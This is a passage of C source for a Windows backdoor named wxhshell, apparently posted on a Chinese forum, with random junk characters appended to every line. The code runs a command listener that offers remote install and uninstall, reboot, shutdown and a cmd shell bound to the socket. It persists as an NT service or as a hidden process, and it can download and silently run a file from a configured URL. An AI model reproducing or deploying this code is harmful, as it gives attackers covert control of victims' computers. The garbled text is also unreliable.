  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^o8o  
  } /\wm/Yx?S  
  else { nYb{?{_ca8  
dR GgiQO  
    switch(cmd[0]) { EpCT !e  
   %>z)Q  
  // 帮助 K\VL[HP-  
  case '?': { wfMtWXd;KB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X4$86  
    break; 1 k\~%  
  } isR)^fI|  
  // 安装 v?L`aj1ox  
  case 'i': { %2ZWSQD  
    if(Install()) [dIlt"2fV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *RllKPY)  
    else GE!fh1[[u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q(s&2|  
    break; W }  
    } xsERnF>`  
  // 卸载 ) OE!vA  
  case 'r': { r^ Mu`*x*  
    if(Uninstall()) Ls2g#+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *%aWGAu:  
    else Z[GeU>?P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5<77o|  
    break; KM9)  
    } $gPR3*0  
  // 显示 wxhshell 所在路径 9NEL[J|  
  case 'p': { 40m>~I^q}  
    char svExeFile[MAX_PATH]; -R BH5+SS2  
    strcpy(svExeFile,"\n\r"); vwIP8z~<  
      strcat(svExeFile,ExeFile); +\s&v!  
        send(wsh,svExeFile,strlen(svExeFile),0); mGC!7^_D`  
    break; d+L!s7  
    } QT)5-Jy  
  // 重启 1=Y pNXX  
  case 'b': { Z[%vO?,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wqE+hKs,  
    if(Boot(REBOOT)) _!C M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (> VD#n  
    else { 5tUN'KEbN  
    closesocket(wsh);  )k6O  
    ExitThread(0); P^-daRb  
    } #,jw! HO]  
    break; ~\o hH  
    } l|" SM6  
  // 关机 /DE`>eJY  
  case 'd': { @A1Ohl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iji2gWV}h  
    if(Boot(SHUTDOWN)) H6 V!W\:s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +AkMU|6  
    else { bPMkBm  
    closesocket(wsh); gbr-C  
    ExitThread(0); .[:2M9Rx  
    } bKac?y~S_  
    break; U6Xi-@XP  
    } #7BX,jvn>  
  // 获取shell \ ~uY);  
  case 's': { 7T/hmVi_  
    CmdShell(wsh); +2Wijrn  
    closesocket(wsh); H^J waF  
    ExitThread(0); -;RW)n^n  
    break; z$b'y;k  
  } "]kq,j^]  
  // 退出 $guaUe[x  
  case 'x': { Cp!Qd e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7 P/1'f3  
    CloseIt(wsh); i"OY=iw-N  
    break; "jA?s9  
    } Yu e#  
  // 离开 wdLlQD  
  case 'q': { cIB[D.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -esq]c%3  
    closesocket(wsh); Y8@TY?  
    WSACleanup(); gK",D^6T*Y  
    exit(1); f@aFs]xV  
    break; GI[XcK^*w  
        } `\M}~  
  } aC,?FWm  
  } cM;,nX%/  
.:A&5Y-   
  // 提示信息 v7#`b}'W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @z<IsAE  
} p#+Da\qmx  
  } 2/f!{lz](  
$Y=xu2u)  
  return; 5"^Z7+6  
} z8*{i]j  
4u+4LB*  
// shell模块句柄 D\ kd6  
int CmdShell(SOCKET sock) x2.YEuSMC  
{ yl UkVr   
STARTUPINFO si; rw%1>]os  
ZeroMemory(&si,sizeof(si)); ]h 4r@L3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AB[#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  zPW_  
PROCESS_INFORMATION ProcessInfo; QvvH/u  
char cmdline[]="cmd"; V)#rP?Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L3|~ i&k  
  return 0; #:M <<gk  
} D?`|`Mu  
!6pE0(V^+4  
// 自身启动模式 1qN+AT  
int StartFromService(void) W_Eur,/`  
{ k:* (..!0z  
typedef struct iVAAGZ>am  
{  ie4BE'  
  DWORD ExitStatus; @78%6KZ`i  
  DWORD PebBaseAddress; lm\~_ 4l1  
  DWORD AffinityMask; j=y{ey7Fd  
  DWORD BasePriority; dvPlKLp  
  ULONG UniqueProcessId; h-6zQs   
  ULONG InheritedFromUniqueProcessId; ]^BgSC  
}   PROCESS_BASIC_INFORMATION; &N|`Q (QXS  
{"n=t`E)3  
PROCNTQSIP NtQueryInformationProcess; &KP JB"0L  
o8!uvl}:9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3Sl2c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R,f"2 k  
3R)_'!R[B  
  HANDLE             hProcess;  \>l DM  
  PROCESS_BASIC_INFORMATION pbi; |]+PDc%  
^J?y mo$>0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [a!*m<  
  if(NULL == hInst ) return 0; z!>ml3  
Rr"D)|Y;C(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *z6m644H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1vUW$)?X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =+"=|cQ  
K3-Cuku  
  if (!NtQueryInformationProcess) return 0; AroYDR,3+  
|Wz`#<t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CaqqH`/E4  
  if(!hProcess) return 0; L{uQ: ;w1  
P^J#;{R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D+('1E?  
P)rz%,VF+  
  CloseHandle(hProcess); _t.Ub:  
M~LYq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JLu>w:\  
if(hProcess==NULL) return 0; =L9;8THY  
Wj"GS!5  
HMODULE hMod; wLOS , =  
char procName[255]; 09sdt;V Q  
unsigned long cbNeeded; W'}^m*F  
$i;_yTht  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x A"V!8C  
)Oix$B!-  
  CloseHandle(hProcess); D9;s%  
bXRSKp[$  
if(strstr(procName,"services")) return 1; // 以服务启动 (bD'SWE  
vR?E'K3  
  return 0; // 注册表启动 Yu_` >so  
} rO7[{<97m  
i8i~b8r]  
// 主模块 O~&j}WN  
int StartWxhshell(LPSTR lpCmdLine) _ Y8j l,J  
{ J*m ~fZ^  
  SOCKET wsl; l$DQkbOj  
BOOL val=TRUE; R~H+.Vh  
  int port=0; \Ws$@ J-M  
  struct sockaddr_in door; CN!~(1v  
UMj8<Lq)j  
  if(wscfg.ws_autoins) Install(); o6c>sh  
&7Lg) PG  
port=atoi(lpCmdLine); BZ}_  
|tdsg  
if(port<=0) port=wscfg.ws_port; H#FH '@J  
\oy8)o/Gb  
  WSADATA data; l$J2|\M6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8rpr10;U  
TT3\c,cs  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3&"+)*/ m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r(DW,xoK0  
  door.sin_family = AF_INET; `PI?RU[g*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;noZmPa  
  door.sin_port = htons(port); Lu9`(+  
zIy&gOX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Rs;Y|W4'  
closesocket(wsl); -Ta| qQa  
return 1; "d c- !  
} S7f"\[Aw  
b_>x;5k  
  if(listen(wsl,2) == INVALID_SOCKET) { TDZ p1zpXb  
closesocket(wsl); \3 M%vJ  
return 1; /{ FSG!  
} 35Cm>X  
  Wxhshell(wsl); Be~In~~  
  WSACleanup(); [[' (,,r  
rkWiGiisM  
return 0; :3.!?mOe2  
8 GW0w  
} #55_hY#  
hL}AgY@  
// 以NT服务方式启动 z\+Ug9Of  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (;cvLop  
{ U]64HuL  
DWORD   status = 0; %WAaoR&u  
  DWORD   specificError = 0xfffffff; IUSV\X9  
j+NsNIJq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a}5/?/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; VkZ3Q7d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  re@;6o  
  serviceStatus.dwWin32ExitCode     = 0; EN;4EC7tE  
  serviceStatus.dwServiceSpecificExitCode = 0; :XCRKRDLE  
  serviceStatus.dwCheckPoint       = 0; UB3hC`N\  
  serviceStatus.dwWaitHint       = 0; \CVrLn;}  
c%5Suu( J6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /[,0,B9!3  
  if (hServiceStatusHandle==0) return; pv@w 8*  
k4`(7Z  
status = GetLastError(); ,FWsgqL{l  
  if (status!=NO_ERROR) a&%v^r[  
{ /f]'_t0\.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )8 %lZ {  
    serviceStatus.dwCheckPoint       = 0; 'QQa :3<x  
    serviceStatus.dwWaitHint       = 0; WWN2  
    serviceStatus.dwWin32ExitCode     = status; $64sf?aZ>#  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?d`j}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8<PQ31  
    return; 2g$;ZBHO|8  
  } -v{LT=,O  
=.2)wA"e'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; NQIbav^5  
  serviceStatus.dwCheckPoint       = 0; QW= X#yrDO  
  serviceStatus.dwWaitHint       = 0; mV#U=zqb!S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \VHRI<$+5  
} 7[It  
cd]def[d  
// 处理NT服务事件,比如:启动、停止 A&L2&ofV&q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Wh^wKF~%  
{ X{tfF!+iy  
switch(fdwControl) rL|9Xru  
{ - sL4tMP  
case SERVICE_CONTROL_STOP: !;E{D  
  serviceStatus.dwWin32ExitCode = 0; &Rt^G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'W*ODAz6  
  serviceStatus.dwCheckPoint   = 0; ~ As_O6JI  
  serviceStatus.dwWaitHint     = 0; ,QPo%{:p  
  { w<Ot0&&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KZ$^Q<d^  
  } Hk@LHC  
  return; &FY7 D<  
case SERVICE_CONTROL_PAUSE: )}i|)^J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :aWC6"ik-W  
  break; _`+2e-  
case SERVICE_CONTROL_CONTINUE: A75z/O{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *_/n$& I%&  
  break; F~wqt7*  
case SERVICE_CONTROL_INTERROGATE: Pv3qN{265  
  break; Nbd[xs-lw  
}; sDP8!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); } bm ^`QY  
} .wf$]oQQ  
'pC51}[A{^  
// 标准应用程序主函数 C(&3L[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tb;u%{S  
{ ,d7o/8u  
#r'S@:[  
// 获取操作系统版本 #BwOWra  
OsIsNt=GetOsVer(); j W/*-:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A@)ou0[n@  
[ ]42$5eof  
  // 从命令行安装 UAOH9*9*  
  if(strpbrk(lpCmdLine,"iI")) Install(); %6E:SI 4  
gp NAM"  
  // 下载执行文件 iHlee=}od  
if(wscfg.ws_downexe) { {\55\e/C,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aPm2\Sq$  
  WinExec(wscfg.ws_filenam,SW_HIDE); <F ?UdMT4y  
} ,L-G-V+  
\T {<{<n  
if(!OsIsNt) { V?-SvQIk1  
// 如果时win9x,隐藏进程并且设置为注册表启动 ky I~  
HideProc(); >Do P2]  
StartWxhshell(lpCmdLine); _[,7DA.qc  
} xP $\ }  
else %H3 M0J2L  
  if(StartFromService()) 7.bPPr&  
  // 以服务方式启动 V-x/lo]Co  
  StartServiceCtrlDispatcher(DispatchTable); x,UP7=6  
else V=)' CCi{  
  // 普通方式启动 ZG8Xr "  
  StartWxhshell(lpCmdLine); &VTO9d  
Ue(\-b\)  
return 0; #Q$+AdY|  
}
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只看该作者 1 发表于: 2006-10-10
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